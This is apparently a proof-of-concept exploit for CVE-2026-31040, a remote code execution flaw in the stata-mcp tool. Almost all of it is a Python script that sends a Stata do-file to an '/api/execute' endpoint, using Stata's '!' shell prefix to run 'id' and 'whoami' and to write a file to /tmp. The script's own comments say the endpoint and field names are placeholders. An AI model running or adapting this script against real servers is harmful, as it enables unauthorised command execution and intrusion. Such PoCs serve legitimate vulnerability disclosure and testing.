CVE-2026-31040: stata-mcp远程代码执行漏洞

import requests # Target URL (Example, replace with actual vulnerable endpoint) target_url = "http://vulnerable-host:port/api/execute" # Malicious Stata do-file content # Stata allows shell command execution using the '!' prefix malicious_payload = """ * This is a malicious do-file display "Executing arbitrary command..." ! id ! whoami ! echo "CVE-2026-31040 PoC" > /tmp/poc.txt """ # Headers (if authentication is not required, headers might be minimal) headers = { "Content-Type": "application/json" } # Data payload structure (depends on API implementation) data = { "dofile_content": malicious_payload } try: print("[*] Sending PoC payload to target...") response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")